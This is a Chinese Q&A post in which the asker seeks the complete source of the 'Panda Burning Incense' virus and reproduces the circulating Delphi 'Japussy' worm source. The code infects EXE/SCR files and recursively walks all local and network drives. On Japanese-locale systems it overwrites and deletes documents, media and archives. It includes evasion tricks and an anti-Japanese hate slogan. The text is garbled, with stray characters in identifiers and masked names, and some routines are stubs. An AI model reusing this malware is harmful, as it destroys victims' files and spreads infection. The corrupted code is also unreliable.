问题补充说明:谁有真正熊猫烧香病毒的完全源代码?一起研究一下,网上流行的那个program Japussy是真的吗?是也不完整?
programJapussy;
uses
Windows,SysUtils,Classes,Graphics,ShellAPI{,Registry来自};
const
HeaderSize=82432;//病毒体的大小
IconOffset=$12EB8;360问答//PE文件主图标派洋蛋材的偏移量
//在我的Delphi5SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize=38912;//Upx压缩过病毒体的大小
验煤陆市始感IconOffset=$92BC;//Upx压缩过PE文件主图标的偏移量
//Upx1.24W用法:upx-9--8086Japussy.exe
}
IconSize=$2E8;//PE文件主图标的大小--744字节
IconTai些l=IconOffset+IconSize;//PE文件主图标的尾部
I孔益今脸举帮外加简D=$44444444;//感染标记
//垃圾码,以备写入
C海评非号就第atchword='Ifaraceneedtobekilledout,itmustbeYamato.'+
'Ifacountryneedtobedestroyed,itmustbeJapan!'+
'***w3宁错院2.***.worm.A***';
{$R*.RES好检互路右黑}
functionRegisterServiceProcess(dwProcessID,dwType:Integer):Integer;
stdcall;external'*范敌照**.dll';//函数声明
次企var
TmpFil究负艺眼台族黑顶走三e:string;
Si:STARTUPINFO;
Pi:PROCESS_INFORMATION;
IsJap:Boolean=False;//日文操作系统标记
{判断是否为W热率鱼in9x}
functionIsWin9x:Boolean;
var
Ver:TOSVersionInfo;
begin
Result:生去下春深界士=False;
***.dwos***sioninfosize:=SizeOf(TOSVersionInfo);
ifnotGetVersion石第移也Ex(Ver)th策技所干片于注汽从绝策en
Exit;
if(***.dwplatformid=VER_PLATFORM_WIN32_WINDOWS)then//Win9x
Result丰纪成达云层重并试谁笑:=True;
e续毛病句nd;
{在流之间复制}
proc述沿表岁edureCopyStr余头eam(Src:TStream;sStartPos:Integer;Dst:TStream;
dStartPos:Integer;Count:Integer);
var
sCurPos,dCurPos:Integer;
begin
sCurPos:=***.position;
dCurPos:=***.position;
***.seek(sStartPos,0);
***.seek(dStartPos,0);
***.copyfrom(Src,Count);
***.seek(sCurPos,0);
***.seek(dCurPos,0);
end;
{将宿主文件从已感染的PE文件中分离出来,以备使用}
procedureExtractFile(FileName:string);
var
sStream,dStream:TFileStream;
begin
try
sStream:=***.create(ParamStr(0),fmOpenReadorfmShareDenyNone);
try
dStream:=***.create(FileName,fmCreate);
try
***.seek(HeaderSize,0);//跳过头部的病毒部分
***.copyfrom(sStream,***.size-HeaderSize);
finally
***.free;
end;
finally
***.free;
end;
except
end;
end;
{填充STARTUPINFO结构}
procedureFillStartupInfo(varSi:STARTUPINFO;State:Word);
begin
***.cb:=SizeOf(Si);
***.lpreserved:=nil;
***.lpdesktop:=nil;
***.lptitle:=nil;
***.dwflags:=STARTF_USESHOWWINDOW;
***.wshowwindow:=State;
***.cbreserved2:=0;
***.lpreserved2:=nil;
end;
{发带毒邮件}
procedureSendMail;
begin
//哪位仁兄愿意完成之?汤姆感激不尽!
end;
{感染PE文件}
procedureInfectOneFile(FileName:string);
var
HdrStream,SrcStream:TFileStream;
IcoStream,DstStream:TMemoryStream;
iID:LongInt;
aIcon:TIcon;
Infected,IsPE:Boolean;
i:Integer;
Buf:array[0..1]ofChar;
begin
try//出错则文件正在被使用,退出
ifCompareText(FileName,'JAPUSSY.EXE')=0then//是自己则不感染
Exit;
Infected:=False;
IsPE:=False;
SrcStream:=***.create(FileName,fmOpenRead);
try
fori:=0to$108do//检查PE文件头
begin
***.seek(i,soFromBeginning);
***.read(Buf,2);
if(Buf[0]=#80)and(Buf[1]=#69)then//PE标记
begin
IsPE:=True;//是PE文件
Break;
end;
end;
***.seek(-4,soFromEnd);//检查感染标记
***.read(iID,4);
if(iID=ID)or(***.size<10240)then//太小的文件不感染
Infected:=True;
finally
***.free;
end;
ifInfectedor(notIsPE)then//如果感染过了或不是PE文件则退出
Exit;
IcoStream:=***.create;
DstStream:=***.create;
try
aIcon:=***.create;
try
//得到被感染文件的主图标(744字节),存入流
***.releasehandle;
***.handle:=ExtractIcon(HInstance,PChar(FileName),0);
***.savetostream(IcoStream);
finally
***.free;
end;
SrcStream:=***.create(FileName,fmOpenRead);
//头文件
HdrStream:=***.create(ParamStr(0),fmOpenReadorfmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream,0,DstStream,0,IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream,22,DstStream,IconOffset,IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream,IconTail,DstStream,IconTail,HeaderSize-IconTail);
//写入宿主程序
CopyStream(SrcStream,0,DstStream,HeaderSize,***.size);
//写入已感染的标记
***.seek(0,2);
iID:=$44444444;
***.write(iID,4);
finally
***.free;
end;
finally
***.free;
***.free;
***.savetofile(FileName);//替换宿主文件
***.free;
end;
except;
end;
end;
{将目标文件写入垃圾码后删除}
procedureSmashFile(FileName:string);
var
FileHandle:Integer;
i,Size,Mass,Max,Len:Integer;
begin
try
SetFileAttributes(PChar(FileName),0);//去掉只读属性
FileHandle:=FileOpen(FileName,fmOpenWrite);//打开文件
try
Size:=GetFileSize(FileHandle,nil);//文件大小
i:=0;
Randomize;
Max:=Random(15);//写入垃圾码的随机次数
ifMax<5then
Max:=5;
Mass:=SizedivMax;//每个间隔块的大小
Len:=Length(Catchword);
whilei begin FileSeek(FileHandle,i*Mass,0);//定位 //写入垃圾码,将文件彻底破坏掉 FileWrite(FileHandle,Catchword,Len); Inc(i); end; finally FileClose(FileHandle);//关闭文件 end; DeleteFile(PChar(FileName));//删除之 except end; end; {获得可写的驱动器列表} functionGetDrives:string; var DiskType:Word; D:Char; Str:string; i:Integer; begin fori:=0to25do//遍历26个字母 begin D:=Chr(i+65); Str:=D+':\'; DiskType:=GetDriveType(PChar(Str)); //得到本地磁盘和网络盘 if(DiskType=DRIVE_FIXED)or(DiskType=DRIVE_REMOTE)then Result:=Result+D; end; end; {遍历目录,感染和摧毁文件} procedureLoopFiles(Path,Mask:string); var i,Count:Integer; Fn,Ext:string; SubDir:TStrings; SearchRec:TSearchRec; Msg:TMsg; functionIsValidDir(SearchRec:TSearchRec):Integer; begin if(***.attr<>16)and(***.name<>'.')and (***.name<>'..')then Result:=0//不是目录 elseif(***.attr=16)and(***.name<>'.')and (***.name<>'..')then Result:=1//不是根目录 elseResult:=2;//是根目录 end; begin if(FindFirst(Path+Mask,faAnyFile,SearchRec)=0)then begin repeat PeekMessage(Msg,0,0,0,PM_REMOVE);//调整消息队列,避免引起怀疑 ifIsValidDir(SearchRec)=0then begin Fn:=Path+***.name; Ext:=UpperCase(ExtractFileExt(Fn)); if(Ext='.EXE')or(Ext='.SCR')then begin InfectOneFile(Fn);//感染可执行文件 end elseif(Ext='.HTM')or(Ext='.HTML')or(Ext='.ASP')then begin //感染HTML和ASP文件,将Base64编码后的病毒写入 //感染浏览此网页的所有用户,这个是我最喜欢的! //哪位大兄弟愿意完成之?汤姆感激不尽! end elseifExt='.WAB'then//Outlook地址簿文件 begin //获取Outlook邮件地址 end elseifExt='.ADC'then//Foxmail地址自动完成文件 begin //获取Foxmail邮件地址 end elseifExt='IND'then//Foxmail地址簿文件 begin //获取Foxmail邮件地址 end else begin ifIsJapthen//是倭文操作系统 begin if(Ext='.DOC')or(Ext='.XLS')or(Ext='.MDB')or (Ext='.MP3')or(Ext='.RM')or(Ext='.RA')or (Ext='.WMA')or(Ext='.ZIP')or(Ext='.RAR')or (Ext='.MPEG')or(Ext='.ASF')or(Ext='.JPG')or (Ext='.JPEG')or(Ext='.GIF')or(Ext='.SWF')or (Ext='.PDF')or(Ext='.CHM')or(Ext='.AVI')then SmashFile(Fn);//摧毁文件 end; end; end; //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑 Sleep(200); until(FindNext(SearchRec)<>0); end; FindClose(SearchRec); SubDir:=***.create; if(FindFirst(Path+'*.*',faDirectory,SearchRec)=0)then begin repeat ifIsValidDir(SearchRec)=1then ***.add(***.name); until(FindNext(SearchRec)<>0); end; FindClose(SearchRec); Count:=***.count-1; fori:=0toCountdo LoopFiles(Path+***.strings+'\',Mask); FreeAndNil(SubDir); end; {遍历磁盘上所有的文件} procedureInfectFiles; var DriverList:string; i,Len:Integer; begin ifGetACP=932then//日文操作系统 IsJap:=True;//去死吧! DriverList:=GetDrives;//得到可写的磁盘列表 Len:=Length(DriverList); whileTruedo//死循环 begin fori:=Lendownto1do//遍历每个磁盘驱动器 LoopFiles(DriverList+':\','*.*');//感染之 SendMail;//发带毒邮件 Sleep(1000*60*5);//睡眠5分钟 end; end; {主程序开始} begin ifIsWin9xthen//是Win9x RegisterServiceProcess(GetCurrentProcessID,1)//注册为服务进程 else//WinNT begin //远程线程映射到Explorer进程 //哪位兄台愿意完成之?汤姆感激不尽! end; //如果是原始病毒体自己 ifCompareText(ExtractFileName(ParamStr(0)),'Japussy.exe')=0then InfectFiles//感染和发邮件 else//已寄生于宿主程序上了,开始工作 begin TmpFile:=ParamStr(0);//创建临时文件 Delete(TmpFile,Length(TmpFile)-4,4); TmpFile:=TmpFile+#32+'.exe';//真正的宿主文件,多一个空格 ExtractFile(TmpFile);//分离之 FillStartupInfo(Si,SW_SHOWDEFAULT); CreateProcess(PChar(TmpFile),PChar(TmpFile),nil,nil,True, 0,nil,'.',Si,Pi);//创建新进程运行之 InfectFiles;//感染和发邮件 end; end